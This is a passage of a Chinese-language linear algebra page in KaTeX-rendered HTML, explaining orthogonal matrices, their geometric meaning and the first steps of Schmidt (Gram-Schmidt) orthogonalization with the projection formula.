encoding="application/x-tex"> Q_i * Q_j^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2361em;vertical-align:-0.3948em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-2.4413em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3948em;"><span></span></span></span></span></span></span></span></span></span>。只有当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mi>j</mi></mrow><annotation encoding="application/x-tex"> i = j </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span> 时，才会有非零值，且为 1。否则任意两列 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">q_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mi>j</mi></msub></mrow><annotation encoding="application/x-tex">q_j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 的互相垂直，内积为 0。</p><p>此外，因为有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>Q</mi><mi>T</mi></msup><mi>Q</mi><mo>=</mo><mi>I</mi></mrow><annotation encoding="application/x-tex"> Q^T Q = I </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>Q</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><msup><mi>Q</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> Q^{-1} = Q^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0085em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>。</p><h2 id="正交矩阵的几何意义"><a class="markdownIt-Anchor" href="#正交矩阵的几何意义"></a> 正交矩阵的几何意义</h2><p>矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi></mrow><annotation encoding="application/x-tex"> Q </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> 进行变换时，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi></mrow><annotation encoding="application/x-tex"> Q </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> 会保持向量的长度和角度不变，然后变换基，也可以理解为旋转和镜像。</p><h2 id="schmidt-orthogonalization-施密特正交化"><a class="markdownIt-Anchor" href="#schmidt-orthogonalization-施密特正交化"></a> Schmidt Orthogonalization 施密特正交化</h2><p>给定一组线性无关的向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>a</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>a</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>a</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex"> a_1, a_2, \ldots, a_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，可以通过施密特正交化将其转换为一组正交向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>q</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>q</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex"> q_1, q_2, \ldots, q_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p><p>具体步骤如下：</p><ol><li><p>设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>1</mn></msub><mo>=</mo><msub><mi>a</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex"> q_1 = a_1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p></li><li><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>=</mo><mn>2</mn><mo separator="true">,</mo><mn>3</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>n</mi></mrow><annotation encoding="application/x-tex"> k = 2, 3, \ldots, n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span>，计算 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>a</mi><mi>k</mi></msub></mrow><annotation encoding="application/x-tex"> a_k </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>q</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>q</mi><mrow><mi>k</mi><mo>−</mo><mn>1</mn></mrow></msub></mrow><annotation encoding="application/x-tex"> q_1, q_2, \ldots, q_{k-1} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span></span></span></span> 上的投影，并将其从 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>a</mi><mi>k</mi></msub></mrow><annotation encoding="application/x-tex"> a_k </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 中减去：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>p</mi><mi>r</mi><mi>o</mi><msub><mi>j</mi><msub><mi>q</mi><mi>i</mi></msub></msub><mo stretchy="false">(</mo><msub><mi>a</mi><mi>k</mi></msub><mo stretchy="false">)</mo><mo>=</mo><mfrac><mrow><msubsup><mi>a</mi><mi>k</mi><mi>T</mi></msubsup><msub><mi>q</mi><mi>i</mi></msub></mrow><mrow><msubsup><mi>q</mi><mi>i</mi><mi>T</mi></msubsup><msub><mi>q</mi><mi>i</mi></msub></mrow></mfrac><msub><mi>q</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">proj_{q_i}(a_k) = \frac{a_k^T q_i}{q_i^T q_i} q_i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal">ro</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0572em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:-0.0359em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.5083em;vertical-align:-0.99em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.5183em;"><span style="top:-2.2869em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8231em;"><span style="top:-2.4231em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span><span style="top:-3.0448em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2769em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-2.4169em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2831em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.99em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>u</mi><mi>k</mi></msub><mo>=</mo><msub><mi>a</mi><mi>k</mi></msub><mo>−</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mrow><mi>k</mi><mo>−</mo><mn>1</mn></mrow></munderover><mi>p</mi><mi>r</mi><mi>o</mi><msub><mi>j</mi><msub><mi>q</mi><mi>i</mi></msub></msub><mo stretchy="false">(</mo><msub><mi>a</mi><mi>k</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">u_k = a_k - \sum_{i=1}^{k-1} proj_{q_i}(a_k) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:3.1138em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8361em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal">ro</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0572em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:-0.0359em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p></li><li><p>将 